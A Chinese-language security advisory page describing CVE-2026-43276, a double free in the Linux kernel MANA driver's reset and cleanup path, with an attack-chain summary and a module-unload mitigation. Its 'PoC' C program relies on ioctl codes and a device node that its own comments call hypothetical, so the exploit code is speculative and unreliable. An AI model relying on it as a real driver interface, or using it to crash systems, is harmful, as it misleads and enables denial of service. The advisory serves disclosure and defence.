IPBUF安全漏洞报告
English
CVE-2026-43276 CVSS 7.8 高危

CVE-2026-43276 Linux内核MANA驱动双重释放漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43276
漏洞类型
释放后重用 (UAF) / 双重释放
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (MANA驱动)

相关标签

Linux KernelUAFDouble FreeDoSMANA DriverLocal PrivilegeRace Condition

漏洞概述

该漏洞是Linux内核MANA网络驱动程序中的一个释放后重用(UAF)及双重释放漏洞。在特定的测试场景下,当服务重新扫描PCI路径时,`mana_serv_reset`函数调用`mana_gd_suspend`并执行`mana_gd_cleanup`销毁工作队列。若随后的`mana_gd_resume`函数因超时或协议错误而失败,代码将流转至`mana_serv_rescan`,进而触发PCI设备的移除流程。此过程会再次调用`mana_gd_cleanup`,导致尝试释放已经被销毁的工作队列,从而引发内核崩溃。该漏洞需要本地低权限触发,可导致系统拒绝服务,严重影响系统的机密性、完整性和可用性。

技术细节

漏洞的核心在于`mana_gd_cleanup`函数中缺乏对`gc->service_wq`指针的有效性检查。在正常的驱动重置流程中,`mana_serv_reset`会暂停设备并清理资源。然而,当恢复阶段出现异常(返回`-ETIMEDOUT`或`-EPROTO`)时,错误处理路径直接调用了`mana_serv_rescan`。该函数通过`pci_stop_and_remove_bus_device`移除设备,这会触发驱动的`.remove`回调函数`mana_gd_remove`。由于`mana_gd_remove`内部再次调用了`mana_gd_cleanup`,而此时`gc->service_wq`指向的内存已被前一次清理释放,且指针未被置空,导致了双重释放。调用栈显示,崩溃发生在`kthread`执行工作队列任务时,通过`mana_do_service`最终到达`mana_gd_cleanup`。攻击者通过触发特定的硬件错误状态,可诱导系统进入这一错误路径,造成系统崩溃或潜在的权限提升(虽然当前主要表现为DoS)。

攻击链分析

STEP 1
步骤1:触发驱动重置
本地低权限用户或系统进程触发MANA驱动的服务重置流程(mana_serv_reset)。
STEP 2
步骤2:资源清理与恢复失败
驱动执行暂停并清理工作队列(gc->service_wq)。随后的恢复操作(mana_gd_resume)因超时或协议错误失败。
STEP 3
步骤3:执行错误的PCI移除路径
由于恢复失败,代码跳转至mana_serv_rescan,调用pci_stop_and_remove_bus_device尝试移除PCI设备。
STEP 4
步骤4:双重释放引发崩溃
PCI移除回调再次调用mana_gd_cleanup,尝试释放已销毁的工作队列,导致内核崩溃(Use-After-Free/Double Free),系统拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43276: Trigger double destroy_workqueue in mana driver * Note: This requires a system with the vulnerable MANA driver and specific hardware simulation. * This code attempts to trigger the race condition by forcing a reset and resume failure. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> // Hypothetical ioctl definitions for the mana driver to trigger reset #define MANA_IOCTL_RESET 0x1 #define MANA_IOCTL_INJECT_ERROR 0x2 int main() { int fd; printf("[*] Attempting to open mana device..."); // In a real scenario, this would be the actual device node fd = open("/dev/mana_control", O_RDWR); if (fd < 0) { printf("Failed. (Device not found or permissions denied)\n"); return -1; } printf("Done.\n"); printf("[*] Triggering mana_serv_reset via ioctl..."); if (ioctl(fd, MANA_IOCTL_RESET, NULL) < 0) { perror("ioctl reset failed"); } printf("Done.\n"); printf("[*] Injecting error to simulate mana_gd_resume failure (-ETIMEDOUT)..."); // This step aims to force the path into mana_serv_rescan if (ioctl(fd, MANA_IOCTL_INJECT_ERROR, NULL) < 0) { perror("ioctl inject failed"); } printf("Done.\n"); printf("[*] Waiting for kernel panic/crash (Double Free)..."); sleep(2); close(fd); return 0; }

影响范围

Linux Kernel (主要版本包含MANA驱动)

防御指南

临时缓解措施
如果不需要使用MANA网络设备,可以在系统中禁用或卸载mana驱动模块(modprobe -r mana),以阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表